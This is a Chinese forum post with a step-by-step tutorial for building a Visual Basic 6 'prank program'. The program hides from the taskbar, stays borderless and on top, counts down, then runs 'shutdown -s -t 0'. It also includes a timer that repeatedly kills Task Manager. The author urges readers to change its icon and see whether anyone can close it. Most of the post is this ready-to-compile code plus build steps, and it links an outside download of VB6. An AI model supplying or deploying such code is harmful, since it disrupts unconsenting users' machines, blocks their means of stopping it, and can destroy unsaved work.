由于附件太大上传不上来 请点击 http://lywt.down.90xia.com/down/Visual_Basic_6.0mini.zip
[upload=2] 手把手教你制作整人程序,损人 好了我们开始文字教程吧!
首先我们得去下载一个VB6.0的编程软件.对不会VB6.0的也不要放弃,VB6.0非常好学
VB6.0在附件里有,下载完成后打开安装，安装完成后打开VB6 选择新建工程，双击那个标准 EXE
然后就出来一个Form窗体。在左边控件组里有个向小闹钟的 [upload=2] 名字叫Timer ，添加12个Timer到Form窗体中。在添加一个向 A 的控件到窗体中在右边有个[按字母序]找到 Capyion把Label1改成关机倒计时 .长度宽度,自己调试.好了下面看代码:
在右边有个窗体 窗体下边有个Form1 (Form1.frm) 点击鼠标又键选查看代码: 请复制以下代码
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Const HWND_TOPMOST = -1
Private Sub Form_Load()
App.TaskVisible = False
Timer2.Enabled = False
Timer3.Enabled = False
Timer4.Enabled = False
Timer5.Enabled = False
Timer6.Enabled = False
Timer7.Enabled = False
Timer8.Enabled = False
Timer9.Enabled = False
Timer10.Enabled = False
Timer11.Enabled = False
Timer12.Enabled = False
Timer1.Interval = 1000
Timer2.Interval = 1000
Timer3.Interval = 1000
Timer4.Interval = 1000
Timer5.Interval = 1000
Timer6.Interval = 1000
Timer7.Interval = 1000
Timer8.Interval = 1000
Timer9.Interval = 1000
Timer10.Interval = 1000
Timer11.Interval = 1000
Timer12.Interval = 1000
End Sub
Private Sub Timer1_Timer()
Label1.Caption = " 10"
Timer1.Enabled = False
Timer2.Enabled = True
End Sub
Private Sub Timer10_Timer()
Label1.Caption = " 1"
Timer10.Enabled = False
Timer11.Enabled = True
End Sub
Private Sub Timer11_Timer()
Label1.Caption = " 关机"
Timer11.Enabled = False
Timer12.Enabled = True
End Sub
Private Sub Timer12_Timer()
Shell "shutdown -s -t 0"
Timer12.Enabled = False
End Sub
Private Sub Timer13_Timer()
Shell "taskkill /f /im taskmgr.exe", vbHide
End Sub
Private Sub Timer2_Timer()
Label1.Caption = " 9"
Timer2.Enabled = False
Timer3.Enabled = True
End Sub
Private Sub Timer3_Timer()
Label1.Caption = " 8"
Timer3.Enabled = False
Timer4.Enabled = True
End Sub
Private Sub Form_Resize()
SetWindowPos Me.hwnd, HWND_TOPMOST, Me.Left / Screen.TwipsPerPixelX _
, Me.Top \ Screen.TwipsPerPixelY, Me.Width \ Screen.TwipsPerPixelX, _
Me.Height \ Screen.TwipsPerPixelY, 0
End Sub
Private Sub Timer4_Timer()
Label1.Caption = " 7"
Timer4.Enabled = False
Timer5.Enabled = True
End Sub
Private Sub Timer5_Timer()
Label1.Caption = " 6"
Timer5.Enabled = False
Timer6.Enabled = True
End Sub
Private Sub Timer6_Timer()
Label1.Caption = " 5"
Timer6.Enabled = False
Timer7.Enabled = True
End Sub
Private Sub Timer7_Timer()
Label1.Caption = " 4"
Timer7.Enabled = False
Timer8.Enabled = True
End Sub
Private Sub Timer8_Timer()
Label1.Caption = " 3"
Timer8.Enabled = False
Timer9.Enabled = True
End Sub
Private Sub Timer9_Timer()
Label1.Caption = " 2"
Timer9.Enabled = False
Timer10.Enabled = True
End Sub
好了整人程序以做完,下面开始生成EXE文件 注意生成的不是木马,文件大小只有600KB多
最重要的是单击Form窗体在右边找到BorderStyle选择为 0- None
在左上角找到 文件(F) 单击鼠标左键,找到 生成工程1.exe 保存到桌面打开看看吧.看看你能不能结束他
注意给程序修改图标单击Form窗体在又边找到Icon 选择图标文件图片格式必须是ICO或CUR的
如果还有不明白的请加我QQ:
315952541 如果代码不完整下面附件里有个代码
[ 此贴被至尊、星仔在2010-02-17 20:24重新编辑 ]
